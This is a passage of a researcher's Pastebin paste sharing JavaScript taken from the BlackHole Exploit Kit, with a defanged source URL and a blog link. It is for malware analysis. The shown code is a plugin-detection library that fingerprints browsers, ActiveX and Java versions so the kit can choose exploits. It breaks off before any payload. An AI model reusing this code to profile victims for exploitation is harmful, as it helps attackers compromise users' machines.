Advertisement
bartblaze

Recent BH-EK JavaScript

Jan 30th, 2013
862
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #JavaScript used by BlackHole Exploit Kit
  2. #Source: hXXp://gonita.net/detects/sign_on_to_resume.php
  3.  
  4. #Blogpost: http://bartblaze.blogspot.com/2013/01/facebook-spam-leads-to-exploit-kit.html
  5.  
  6. ###Start script below###
  7.  
  8. if (2) var PluginDetect = {
  9.     version: "0.7.9",
  10.     name: "PluginDetect",
  11.     handler: function(c, b, a) {
  12.         return function() {
  13.             c(b, a)
  14.         }
  15.     },
  16.     openTag: "<",
  17.     isDefined: function(b) {
  18.         return typeof b != "undefined"
  19.     },
  20.     isArray: function(b) {
  21.         return (/array/i).test(Object.prototype.toString.call(b))
  22.     },
  23.     isFunc: function(b) {
  24.         return typeof b == "function"
  25.     },
  26.     isString: function(b) {
  27.         return typeof b == "string"
  28.     },
  29.     isNum: function(b) {
  30.         return typeof b == "number"
  31.     },
  32.     isStrNum: function(b) {
  33.         return (typeof b == "string" && (/\d/).test(b))
  34.     },
  35.     getNumRegx: /[\d][\d\.\_,-]*/,
  36.     splitNumRegx: /[\.\_,-]/g,
  37.     getNum: function(b, c) {
  38.         var d = this,
  39.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  40.         return a ? a[0] : null
  41.     },
  42.     compareNums: function(h, f, d) {
  43.         var e = this,
  44.             c, b, a, g = parseInt;
  45.         if (e.isStrNum(h) && e.isStrNum(f)) {
  46.             if (e.isDefined(d) && d.compareNums) {
  47.                 return d.compareNums(h, f)
  48.             }
  49.             c = h.split(e.splitNumRegx);
  50.             b = f.split(e.splitNumRegx);
  51.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  52.                 if (g(c[a], 10) > g(b[a], 10)) {
  53.                     return 1
  54.                 }
  55.                 if (g(c[a], 10) < g(b[a], 10)) {
  56.                     return -1
  57.                 }
  58.             }
  59.         }
  60.         return 0
  61.     },
  62.     formatNum: function(b, c) {
  63.         var d = this,
  64.             a, e;
  65.         if (!d.isStrNum(b)) {
  66.             return null
  67.         }
  68.         if (!d.isNum(c)) {
  69.             c = 4
  70.         }
  71.         c--;
  72.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  73.         for (a = 0; a < 4; a++) {
  74.             if (/^(0+)(.+)$/.test(e[a])) {
  75.                 e[a] = RegExp.$2
  76.             }
  77.             if (a > c || !(/\d/).test(e[a])) {
  78.                 e[a] = "0"
  79.             }
  80.         }
  81.         return e.slice(0, 4).join(",")
  82.     },
  83.     $$hasMimeType: function(a) {
  84.         return function(c) {
  85.             if (!a.isIE && c) {
  86.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  87.                 for (b = 0; b < d.length; b++) {
  88.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  89.                         f = navigator.mimeTypes[d[b]];
  90.                         e = f ? f.enabledPlugin : 0;
  91.                         if (e && (e.name || e.description)) {
  92.                             return f
  93.                         }
  94.                     }
  95.                 }
  96.             }
  97.             return null
  98.         }
  99.     },
  100.     findNavPlugin: function(l, e, c) {
  101.         var j = this,
  102.             h = new RegExp(l, "i"),
  103.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  104.             k = c ? new RegExp(c, "i") : 0,
  105.             a = navigator.plugins,
  106.             g = "",
  107.             f, b, m;
  108.         for (f = 0; f < a.length; f++) {
  109.             m = a[f].description || g;
  110.             b = a[f].name || g;
  111.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  112.                 if (!k || !(k.test(m) || k.test(b))) {
  113.                     return a[f]
  114.                 }
  115.             }
  116.         }
  117.         return null
  118.     },
  119.     getMimeEnabledPlugin: function(k, m, c) {
  120.         var e = this,
  121.             f, b = new RegExp(m, "i"),
  122.             h = "",
  123.             g = c ? new RegExp(c, "i") : 0,
  124.             a, l, d, j = e.isString(k) ? [k] : k;
  125.         for (d = 0; d < j.length; d++) {
  126.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  127.                 l = f.description || h;
  128.                 a = f.name || h;
  129.                 if (b.test(l) || b.test(a)) {
  130.                     if (!g || !(g.test(l) || g.test(a))) {
  131.                         return f
  132.                     }
  133.                 }
  134.             }
  135.         }
  136.         return 0
  137.     },
  138.     getPluginFileVersion: function(f, b) {
  139.         var h = this,
  140.             e, d, g, a, c = -1;
  141.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  142.             return b
  143.         }
  144.         if (!b) {
  145.             return e
  146.         }
  147.         e = h.formatNum(e);
  148.         b = h.formatNum(b);
  149.         d = b.split(h.splitNumRegx);
  150.         g = e.split(h.splitNumRegx);
  151.         for (a = 0; a < d.length; a++) {
  152.             if (-1 < c && c < a && !(d[a] == "0")) {
  153.                 return b
  154.             }
  155.             if (g[a] != d[a]) {
  156.                 if (c == -1) {
  157.                     c = a
  158.                 }
  159.                 if (d[a] != "0") {
  160.                     return b
  161.                 }
  162.             }
  163.         }
  164.         return e
  165.     },
  166.     AXO: window.ActiveXObject,
  167.     getAXO: function(a) {
  168.         var f = null,
  169.             d, b = this,
  170.             c = {};
  171.         try {
  172.             f = new b.AXO(a)
  173.         } catch (d) {}
  174.         return f
  175.     },
  176.     convertFuncs: function(f) {
  177.         var a, g, d, b = /^[\$][\$]/,
  178.             c = this;
  179.         for (a in f) {
  180.             if (b.test(a)) {
  181.                 try {
  182.                     g = a.slice(2);
  183.                     if (g.length > 0 && !f[g]) {
  184.                         f[g] = f[a](f);
  185.                         delete f[a]
  186.                     }
  187.                 } catch (d) {}
  188.             }
  189.         }
  190.     },
  191.     initObj: function(e, b, d) {
  192.         var a, c;
  193.         if (e) {
  194.             if (e[b[0]] == 1 || d) {
  195.                 for (a = 0; a < b.length; a = a + 2) {
  196.                     e[b[a]] = b[a + 1]
  197.                 }
  198.             }
  199.             for (a in e) {
  200.                 c = e[a];
  201.                 if (c && c[b[0]] == 1) {
  202.                     this.initObj(c, b)
  203.                 }
  204.             }
  205.         }
  206.     },
  207.     initScript: function() {
  208.         var d = this,
  209.             a = navigator,
  210.             h, i = document,
  211.             l = a.userAgent || "",
  212.             j = a.vendor || "",
  213.             b = a.platform || "",
  214.             k = a.product || "";
  215.         d.initObj(d, ["$", d]);
  216.         for (h in d.Plugins) {
  217.             if (d.Plugins[h]) {
  218.                 d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  219.             }
  220.         }
  221.         d.convertFuncs(d);
  222.         d.OS = 100;
  223.         if (b) {
  224.             var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  225.             for (h = g.length - 2; h >= 0; h = h - 2) {
  226.                 if (g[h] && new RegExp(g[h], "i").test(b)) {
  227.                     d.OS = g[h + 1];
  228.                     break
  229.                 }
  230.             }
  231.         };
  232.         d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null;
  233.         d.isIE = new Function("return/*@cc_on!@*/!1")();
  234.         d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  235.         d.ActiveXEnabled = false;
  236.         if (d.isIE) {
  237.             var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  238.             for (h = 0; h < m.length; h++) {
  239.                 if (d.getAXO(m[h])) {
  240.                     d.ActiveXEnabled = true;
  241.                     break
  242.                 }
  243.             }
  244.         };
  245.         d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  246.         d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null;
  247.         d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  248.         d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  249.         d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  250.         d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
  251.         d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  252.         d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
  253.         d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  254.     },
  255.     init: function(d) {
  256.         var c = this,
  257.             b, d, a = {
  258.                 status: -3,
  259.                 plugin: 0
  260.             };
  261.         if (!c.isString(d)) {
  262.             return a
  263.         }
  264.         if (d.length == 1) {
  265.             c.getVersionDelimiter = d;
  266.             return a
  267.         }
  268.         d = d.toLowerCase().replace(/\s/g, "");
  269.         b = c.Plugins[d];
  270.         if (!b || !b.getVersion) {
  271.             return a
  272.         }
  273.         a.plugin = b;
  274.         if (!c.isDefined(b.installed)) {
  275.             b.installed = null;
  276.             b.version = null;
  277.             b.version0 = null;
  278.             b.getVersionDone = null;
  279.             b.pluginName = d
  280.         }
  281.         c.garbage = false;
  282.         if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") {
  283.             a.status = -2;
  284.             return a
  285.         }
  286.         a.status = 1;
  287.         return a
  288.     },
  289.     fPush: function(b, a) {
  290.         var c = this;
  291.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length))) {
  292.             a.push(b)
  293.         }
  294.     },
  295.     callArray: function(b) {
  296.         var c = this,
  297.             a;
  298.         if (c.isArray(b)) {
  299.             for (a = 0; a < b.length; a++) {
  300.                 if (b[a] === null) {
  301.                     return
  302.                 }
  303.                 c.call(b[a]);
  304.                 b[a] = null
  305.             }
  306.         }
  307.     },
  308.     call: function(c) {
  309.         var b = this,
  310.             a = b.isArray(c) ? c.length : -1;
  311.         if (0 < a && b.isFunc(c[0])) {
  312.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  313.         } else {
  314.             if (b.isFunc(c)) {
  315.                 c(b)
  316.             }
  317.         }
  318.     },
  319.     $$isMinVersion: function(a) {
  320.         return function(h, g, d, c) {
  321.             var e = a.init(h),
  322.                 f, b = -1,
  323.                 j = {};
  324.             if (e.status < 0) {
  325.                 return e.status
  326.             }
  327.             f = e.plugin;
  328.             g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  329.             if (f.getVersionDone != 1) {
  330.                 f.getVersion(g, d, c);
  331.                 if (f.getVersionDone === null) {
  332.                     f.getVersionDone = 1
  333.                 }
  334.             }
  335.             a.cleanup();
  336.             if (f.installed !== null) {
  337.                 b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
  338.             };
  339.             return b
  340.         }
  341.     },
  342.     getVersionDelimiter: ",",
  343.     $$getVersion: function(a) {
  344.         return function(g, d, c) {
  345.             var e = a.init(g),
  346.                 f, b, h = {};
  347.             if (e.status < 0) {
  348.                 return null
  349.             };
  350.             f = e.plugin;
  351.             if (f.getVersionDone != 1) {
  352.                 f.getVersion(null, d, c);
  353.                 if (f.getVersionDone === null) {
  354.                     f.getVersionDone = 1
  355.                 }
  356.             }
  357.             a.cleanup();
  358.             b = (f.version || f.version0);
  359.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  360.             return b
  361.         }
  362.     },
  363.     cleanup: function() {
  364.         var a = this;
  365.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  366.             window.CollectGarbage()
  367.         }
  368.     },
  369.     addWinEvent: function(d, c) {
  370.         var e = this,
  371.             a = window,
  372.             b;
  373.         if (e.isFunc(c)) {
  374.             if (a.addEventListener) {
  375.                 a.addEventListener(d, c, false)
  376.             } else {
  377.                 if (a.attachEvent) {
  378.                     a.attachEvent("on" + d, c)
  379.                 } else {
  380.                     b = a["on" + d];
  381.                     a["on" + d] = e.winHandler(c, b)
  382.                 }
  383.             }
  384.         }
  385.     },
  386.     winHandler: function(d, c) {
  387.         return function() {
  388.             d();
  389.             if (typeof c == "function") {
  390.                 c()
  391.             }
  392.         }
  393.     },
  394.     WLfuncs0: [],
  395.     WLfuncs: [],
  396.     runWLfuncs: function(a) {
  397.         var b = {};
  398.         a.winLoaded = true;
  399.         a.callArray(a.WLfuncs0);
  400.         a.callArray(a.WLfuncs);
  401.         if (a.onDoneEmptyDiv) {
  402.             a.onDoneEmptyDiv()
  403.         }
  404.     },
  405.     winLoaded: false,
  406.     $$onWindowLoaded: function(a) {
  407.         return function(b) {
  408.             if (a.winLoaded) {
  409.                 a.call(b)
  410.             } else {
  411.                 a.fPush(b, a.WLfuncs)
  412.             }
  413.         }
  414.     },
  415.     $$onDetectionDone: function(a) {
  416.         return function(h, g, c, b) {
  417.             var d = a.init(h),
  418.                 k, e, j = {};
  419.             if (d.status == -3) {
  420.                 return -1
  421.             }
  422.             e = d.plugin;
  423.             if (!a.isArray(e.funcs)) {
  424.                 e.funcs = []
  425.             }
  426.             if (e.getVersionDone != 1) {
  427.                 k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  428.             }
  429.             if (e.installed != -0.5 && e.installed != 0.5) {
  430.                 a.call(g);
  431.                 return 1
  432.             }
  433.             if (e.NOTF) {
  434.                 a.fPush(g, e.funcs);
  435.                 return 0
  436.             }
  437.             return 1
  438.         }
  439.     },
  440.     div: null,
  441.     divID: "plugindetect",
  442.     divWidth: 50,
  443.     pluginSize: 1,
  444.     emptyDiv: function() {
  445.         var d = this,
  446.             b, h, c, a, f, g;
  447.         if (d.div && d.div.childNodes) {
  448.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  449.                 c = d.div.childNodes[b];
  450.                 if (c && c.childNodes) {
  451.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  452.                         g = c.childNodes[h];
  453.                         try {
  454.                             c.removeChild(g)
  455.                         } catch (f) {}
  456.                     }
  457.                 }
  458.                 if (c) {
  459.                     try {
  460.                         d.div.removeChild(c)
  461.                     } catch (f) {}
  462.                 }
  463.             }
  464.         }
  465.         if (!d.div) {
  466.             a = document.getElementById(d.divID);
  467.             if (a) {
  468.                 d.div = a
  469.             }
  470.         }
  471.         if (d.div && d.div.parentNode) {
  472.             try {
  473.                 d.div.parentNode.removeChild(d.div)
  474.             } catch (f) {}
  475.             d.div = null
  476.         }
  477.     },
  478.     DONEfuncs: [],
  479.     onDoneEmptyDiv: function() {
  480.         var c = this,
  481.             a, b;
  482.         if (!c.winLoaded) {
  483.             return
  484.         }
  485.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  486.             return
  487.         }
  488.         for (a in c) {
  489.             b = c[a];
  490.             if (b && b.funcs) {
  491.                 if (b.OTF == 3) {
  492.                     return
  493.                 }
  494.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  495.                     return
  496.                 }
  497.             }
  498.         }
  499.         for (a = 0; a < c.DONEfuncs.length; a++) {
  500.             c.callArray(c.DONEfuncs)
  501.         }
  502.         c.emptyDiv()
  503.     },
  504.     getWidth: function(c) {
  505.         if (c) {
  506.             var a = c.scrollWidth || c.offsetWidth,
  507.                 b = this;
  508.             if (b.isNum(a)) {
  509.                 return a
  510.             }
  511.         }
  512.         return -1
  513.     },
  514.     getTagStatus: function(m, g, a, b) {
  515.         var c = this,
  516.             f, k = m.span,
  517.             l = c.getWidth(k),
  518.             h = a.span,
  519.             j = c.getWidth(h),
  520.             d = g.span,
  521.             i = c.getWidth(d);
  522.         if (!k || !h || !d || !c.getDOMobj(m)) {
  523.             return -2
  524.         }
  525.         if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) {
  526.             return 0
  527.         }
  528.         if (l >= i) {
  529.             return -1
  530.         }
  531.         try {
  532.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  533.                 if (!m.winLoaded && c.winLoaded) {
  534.                     return 1
  535.                 }
  536.                 if (m.winLoaded && c.isNum(b)) {
  537.                     if (!c.isNum(m.count)) {
  538.                         m.count = b
  539.                     }
  540.                     if (b - m.count >= 10) {
  541.                         return 1
  542.                     }
  543.                 }
  544.             }
  545.         } catch (f) {}
  546.         return 0
  547.     },
  548.     getDOMobj: function(g, a) {
  549.         var f, d = this,
  550.             c = g ? g.span : 0,
  551.             b = c && c.firstChild ? 1 : 0;
  552.         try {
  553.             if (b && a) {
  554.                 d.div.focus()
  555.             }
  556.         } catch (f) {}
  557.         return b ? c.firstChild : null
  558.     },
  559.     setStyle: function(b, g) {
  560.         var f = b.style,
  561.             a, d, c = this;
  562.         if (f && g) {
  563.             for (a = 0; a < g.length; a = a + 2) {
  564.                 try {
  565.                     f[g[a]] = g[a + 1]
  566.                 } catch (d) {}
  567.             }
  568.         }
  569.     },
  570.     insertDivInBody: function(i, g) {
  571.         var f, c = this,
  572.             h = "pd33993399",
  573.             b = null,
  574.             d = g ? window.top.document : window.document,
  575.             a = d.getElementsByTagName("body")[0] || d.body;
  576.         if (!a) {
  577.             try {
  578.                 d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  579.                 b = d.getElementById(h)
  580.             } catch (f) {}
  581.         }
  582.         a = d.getElementsByTagName("body")[0] || d.body;
  583.         if (a) {
  584.             a.insertBefore(i, a.firstChild);
  585.             if (b) {
  586.                 a.removeChild(b)
  587.             }
  588.         }
  589.     },
  590.     insertHTML: function(f, b, g, a, k) {
  591.         var l, m = document,
  592.             j = this,
  593.             p, o = m.createElement("span"),
  594.             n, i;
  595.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  596.         var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  597.         if (!j.isDefined(a)) {
  598.             a = ""
  599.         }
  600.         if (j.isString(f) && (/[^\s]/).test(f)) {
  601.             f = f.toLowerCase().replace(/\s/g, "");
  602.             p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  603.             p += 'style="' + h + 'display:inline;" ';
  604.             for (n = 0; n < b.length; n = n + 2) {
  605.                 if (/[^\s]/.test(b[n + 1])) {
  606.                     p += b[n] + '="' + b[n + 1] + '" '
  607.                 }
  608.             }
  609.             p += ">";
  610.             for (n = 0; n < g.length; n = n + 2) {
  611.                 if (/[^\s]/.test(g[n + 1])) {
  612.                     p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  613.                 }
  614.             }
  615.             p += a + j.openTag + "/" + f + ">"
  616.         } else {
  617.             p = a
  618.         }
  619.         if (!j.div) {
  620.             i = m.getElementById(j.divID);
  621.             if (i) {
  622.                 j.div = i
  623.             } else {
  624.                 j.div = m.createElement("div");
  625.                 j.div.id = j.divID
  626.             }
  627.             j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  628.             if (!i) {
  629.                 j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  630.                 j.insertDivInBody(j.div)
  631.             }
  632.         }
  633.         if (j.div && j.div.parentNode) {
  634.             j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  635.             try {
  636.                 o.innerHTML = p
  637.             } catch (l) {};
  638.             try {
  639.                 j.div.appendChild(o)
  640.             } catch (l) {};
  641.             return {
  642.                 span: o,
  643.                 winLoaded: j.winLoaded,
  644.                 tagName: f,
  645.                 outerHTML: p
  646.             }
  647.         }
  648.         return {
  649.             span: null,
  650.             winLoaded: j.winLoaded,
  651.             tagName: "",
  652.             outerHTML: p
  653.         }
  654.     },
  655.     file: {
  656.         $: 1,
  657.         any: "fileStorageAny999",
  658.         valid: "fileStorageValid999",
  659.         save: function(d, f, c) {
  660.             var b = this,
  661.                 e = b.$,
  662.                 a;
  663.             if (d && e.isDefined(c)) {
  664.                 if (!d[b.any]) {
  665.                     d[b.any] = []
  666.                 }
  667.                 if (!d[b.valid]) {
  668.                     d[b.valid] = []
  669.                 }
  670.                 d[b.any].push(c);
  671.                 a = b.split(f, c);
  672.                 if (a) {
  673.                     d[b.valid].push(a)
  674.                 }
  675.             }
  676.         },
  677.         getValidLength: function(a) {
  678.             return a && a[this.valid] ? a[this.valid].length : 0
  679.         },
  680.         getAnyLength: function(a) {
  681.             return a && a[this.any] ? a[this.any].length : 0
  682.         },
  683.         getValid: function(c, a) {
  684.             var b = this;
  685.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  686.         },
  687.         getAny: function(c, a) {
  688.             var b = this;
  689.             return c && c[b.any] ? b.get(c[b.any], a) : null
  690.         },
  691.         get: function(d, a) {
  692.             var c = d.length - 1,
  693.                 b = this.$.isNum(a) ? a : c;
  694.             return (0 > b || b > c) ? null : d[b]
  695.         },
  696.         split: function(g, c) {
  697.             var b = this,
  698.                 e = b.$,
  699.                 f = null,
  700.                 a, d;
  701.             g = g ? g.replace(".", "\.") : "";
  702.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  703.             if (e.isString(c) && d.test(c)) {
  704.                 a = (RegExp.$1).split("/");
  705.                 f = {
  706.                     name: a[a.length - 1],
  707.                     ext: RegExp.$2,
  708.                     full: c
  709.                 };
  710.                 a[a.length - 1] = "";
  711.                 f.path = a.join("/")
  712.             }
  713.             return f
  714.         },
  715.         z: 0
  716.     },
  717.     Plugins: {
  718.         java: {
  719.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  720.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  721.             navigator: {
  722.                 a: window.navigator.javaEnabled(),
  723.                 javaEnabled: function() {
  724.                     return this.a
  725.                 },
  726.                 mimeObj: 0,
  727.                 pluginObj: 0
  728.             },
  729.             OTF: null,
  730.             minIEver: 7,
  731.             debug: 0,
  732.             debugEnable: function() {
  733.                 var a = this,
  734.                     b = a.$;
  735.                 a.debug = 1
  736.             },
  737.             isDisabled: {
  738.                 $: 1,
  739.                 DTK: function() {
  740.                     var a = this,
  741.                         c = a.$,
  742.                         b = a.$$;
  743.                     if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, "5,1,0,0"))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
  744.                         return 1
  745.                     }
  746.                     return 0
  747.                 },
  748.                 AXO: function() {
  749.                     var a = this,
  750.                         c = a.$,
  751.                         b = a.$$;
  752.                     return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
  753.                 },
  754.                 navMime: function() {
  755.                     var b = this,
  756.                         d = b.$,
  757.                         c = b.$$,
  758.                         a = c.navigator;
  759.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  760.                         return 1
  761.                     }
  762.                     return 0
  763.                 },
  764.                 navPlugin: function() {
  765.                     var b = this,
  766.                         d = b.$,
  767.                         c = b.$$,
  768.                         a = c.navigator;
  769.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  770.                         return 1
  771.                     }
  772.                     return 0
  773.                 },
  774.                 windowDotJava: function() {
  775.                     var a = this,
  776.                         c = a.$,
  777.                         b = a.$$;
  778.                     if (!window.java) {
  779.                         return 1
  780.                     }
  781.                     if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) {
  782.                         return 1
  783.                     }
  784.                     return 0
  785.                 },
  786.                 allApplets: function() {
  787.                     var b = this,
  788.                         d = b.$,
  789.                         c = b.$$,
  790.                         a = c.navigator;
  791.                     if (d.OS >= 20) {
  792.                         return 0
  793.                     }
  794.                     if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
  795.                         return 1
  796.                     }
  797.                     if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
  798.                         return 1
  799.                     }
  800.                     return 0
  801.                 },
  802.                 AppletTag: function() {
  803.                     var b = this,
  804.                         d = b.$,
  805.                         c = b.$$,
  806.                         a = c.navigator;
  807.                     return d.isIE ? !a.javaEnabled() : 0
  808.                 },
  809.                 ObjectTag: function() {
  810.                     var a = this,
  811.                         c = a.$,
  812.                         b = a.$$;
  813.                     return c.isIE ? !c.ActiveXEnabled : 0
  814.                 },
  815.                 z: 0
  816.             },
  817.             getVerifyTagsDefault: function() {
  818.                 var a = this,
  819.                     c = a.$,
  820.                     b = [1, 0, 1];
  821.                 if (c.OS >= 20) {
  822.                     return b
  823.                 }
  824.                 if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10)) {
  825.                     b = [1, 1, 1]
  826.                 }
  827.                 return b
  828.             },
  829.             getVersion: function(j, g, i) {
  830.                 var b = this,
  831.                     d = b.$,
  832.                     e, a = b.applet,
  833.                     h = b.verify,
  834.                     k = b.navigator,
  835.                     f = null,
  836.                     l = null,
  837.                     c = null;
  838.                 if (b.getVersionDone === null) {
  839.                     b.OTF = 0;
  840.                     k.mimeObj = d.hasMimeType(b.mimeType);
  841.                     if (k.mimeObj) {
  842.                         k.pluginObj = k.mimeObj.enabledPlugin
  843.                     }
  844.                     if (h) {
  845.                         h.begin()
  846.                     }
  847.                 }
  848.                 a.setVerifyTagsArray(i);
  849.                 d.file.save(b, ".jar", g);
  850.                 if (b.getVersionDone === 0) {
  851.                     if (a.should_Insert_Query_Any()) {
  852.                         e = a.insert_Query_Any();
  853.                         b.setPluginStatus(e[0], e[1], f)
  854.                     }
  855.                     return
  856.                 }
  857.                 if ((!f || b.debug) && b.DTK.query().version) {
  858.                     f = b.DTK.version
  859.                 }
  860.                 if ((!f || b.debug) && b.navMime.query().version) {
  861.                     f = b.navMime.version
  862.                 }
  863.                 if ((!f || b.debug) && b.navPlugin.query().version) {
  864.                     f = b.navPlugin.version
  865.                 }
  866.                 if ((!f || b.debug) && b.AXO.query().version) {
  867.                     f = b.AXO.version
  868.                 }
  869.                 if (b.nonAppletDetectionOk(f)) {
  870.                     c = f
  871.                 }
  872.                 if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
  873.                     e = b.lang.System.getProperty();
  874.                     if (e[0]) {
  875.                         f = e[0];
  876.                         c = e[0];
  877.                         l = e[1]
  878.                     }
  879.                 }
  880.                 b.setPluginStatus(c, l, f);
  881.                 if (a.should_Insert_Query_Any()) {
  882.                     e = a.insert_Query_Any();
  883.                     if (e[0]) {
  884.                         c = e[0];
  885.                         l = e[1]
  886.                     }
  887.                 }
  888.                 b.setPluginStatus(c, l, f)
  889.             },
  890.             nonAppletDetectionOk: function(b) {
  891.                 var d = this,
  892.                     e = d.$,
  893.                     a = d.navigator,
  894.                     c = 1;
  895.                 if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
  896.                     c = 0
  897.                 } else {
  898.                     if (e.OS >= 20) {} else {
  899.                         if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) {
  900.                             c = 0
  901.                         }
  902.                     }
  903.                 }
  904.                 return c
  905.             },
  906.             setPluginStatus: function(d, f, a) {
  907.                 var c = this,
  908.                     e = c.$,
  909.                     b;
  910.                 a = a || c.version0;
  911.                 if (0 < c.OTF) {
  912.                     d = d || c.lang.System.getProperty()[0]
  913.                 }
  914.                 if (c.OTF < 3) {
  915.                     b = d ? 1 : (a ? -0.2 : -1);
  916.                     if (c.installed === null || b > c.installed) {
  917.                         c.installed = b
  918.                     }
  919.                 }
  920.                 if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
  921.                     c.installed = a ? -0.2 : -1
  922.                 };
  923.                 if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
  924.                     c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
  925.                 }
  926.                 if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
  927.                     if (d) {
  928.                         c.installed = 1
  929.                     } else {
  930.                         if (c.NOTF.isJavaActive(1) == 1) {
  931.                             if (a) {
  932.                                 c.installed = 1;
  933.                                 d = a
  934.                             } else {
  935.                                 c.installed = 0
  936.                             }
  937.                         } else {
  938.                             if (a) {
  939.                                 c.installed = -0.2
  940.                             } else {
  941.                                 c.installed = -1
  942.                             }
  943.                         }
  944.                     }
  945.                 };
  946.                 if (a) {
